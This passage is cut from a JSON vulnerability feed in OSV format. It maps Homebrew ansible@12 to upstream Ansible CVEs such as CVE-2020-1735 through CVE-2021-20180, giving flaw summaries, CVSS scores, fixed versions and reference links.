ersion":"1.7.3","id":"BREW-ansible@12-CVE-2020-1735","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-gfr2-qpxh-qj9m","CVE-2020-1735","PYSEC-2020-7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1735"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67793"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69023"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69024"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69025"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/18f91bbb88a84b1d3614ef41c3550da735592ac1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/40969ff43812fabf5397f818d9e521f9b39c9c9a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/de9a4f5474c5f5db442ae7493d6b5da7177e335d"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-7.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gfr2-qpxh-qj9m"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1735"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1736","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-x7jh-595q-wq82","CVE-2020-1736","PYSEC-2020-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Incorrect Permission Assignment for Critical Resource in Ansible","details":"A flaw was found in Ansible Engine when a file is moved using atomic_move primitive as the file mode cannot be specified. This sets the destination files world-readable if the destination file does not exist and if the file exists, the file could be changed to have less restrictive permissions before the move. This could lead to the disclosure of sensitive data. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1736"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67794"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1736"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x7jh-595q-wq82"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-8.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2NYYQP2XJB2TTRP6AKWVMBSPB2DFJNKD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BPNZWBAUP4ZHUR6PO7U6ZXEKNCX62KZ7"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1737","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-893h-35v4-mxqx","CVE-2020-1737","PYSEC-2020-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1737"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67795"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67799"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/1de638b4d38d6d916588e2ad48d01f90dab8c36d"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/aaf549d7870b8687209a3282841b59207735b676"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/b60aa26e2313a8d52c0e0d3fd01696e797605b72"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1737"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-893h-35v4-mxqx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-9.yaml"},{"type":"PACKAGE","url":"https://github.com/samdoran/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1738","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-f85h-23mf-2fwh","CVE-2020-1738","PYSEC-2020-10"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Argument Injection in Ansible","details":"A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1738"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67796"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67808"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1738"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f85h-23mf-2fwh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-10.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1739","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-923p-fr2c-g5m2","CVE-2020-1739","PYSEC-2020-11"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1739"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67797"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68911"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68912"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68913"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1a89d4f059c21a818306a39ada7f5284ae125237"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6c74a298702c8bb5532b9600073312e08f39680f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c6c4fbf4a1fdea1e10ba94462a60c413990a16a4"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-11.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-923p-fr2c-g5m2"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1739"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1740","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-vcg8-98q8-g7mj","CVE-2020-1740","PYSEC-2020-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1740"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67798"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/28f9fbdb5e281976e33f443193047068afb97a9b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2a563514f070a0a8ba64aebf6bce21194be96c73"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/685a4b6d3ff72186d2b4ffce73172a5446a71ccc"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ef32a5bf96a89107986375516285253c1380d7ef"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1740"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vcg8-98q8-g7mj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-12.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1746","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-j2h6-73x8-22c4","CVE-2020-1746","PYSEC-2020-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the `bind_pw` in the parameters field. The highest threat from this vulnerability is data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1746"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67866"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d41e38435b1a9e300d8011ac28f16a5add2db119"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e6199d768c1c18a4e750ec78d4ded088629baa3f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edd1e1723cc937ec9251adf38c1199a00b0bf6d4"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1746"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j2h6-73x8-22c4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-13.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1753","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-86hp-cj9j-33vv","CVE-2020-1753","PYSEC-2020-210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File, Invocation of Process Using Visible Sensitive Information, and \tExposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1753"},{"type":"WEB","url":"https://github.com/ansible-collections/kubernetes/pull/51"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68195"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04ba05e003b268b83df6c106ba5c0f08548b1380"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/137caed836ef096945086cfe75dc11587b68db3a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/273d8538dbe5a7b5c9954f1929d3bb00904c43f6"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1753"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-86hp-cj9j-33vv"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/kubernetes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-210.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-25635","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-f556-49jc-4rvc","CVE-2020-25635","PYSEC-2020-220"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Ansible does not collect garbage after playbook run","details":"A flaw was found in Ansible Base when using the aws_ssm connection plugin as its garbage collector is not happening after the playbook run is completed. Files would remain in the bucket exposing the data. This issue directly affects data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-25635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/issues/222"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/pull/237#issuecomment-1468591094"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-25635"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-220.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2021-20178","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-wv5p-gmmv-wh9v","CVE-2021-20178","PYSEC-2021-106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20178"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/pull/1635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/1d0c5e2ba47724c31a18d7b08b9daf13df8829dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1914774"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wv5p-gmmv-wh9v"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes%2C"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-106.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FUQ2QKAQA5OW2TY3ACZZMFIAJ2EQTG37"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIU7QZUV73U6ZQ65VJWSFBTCALVXLH55"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2021-20180","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-fh5v-5f35-2rv2","CVE-2021-20180","PYSEC-2026-618"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream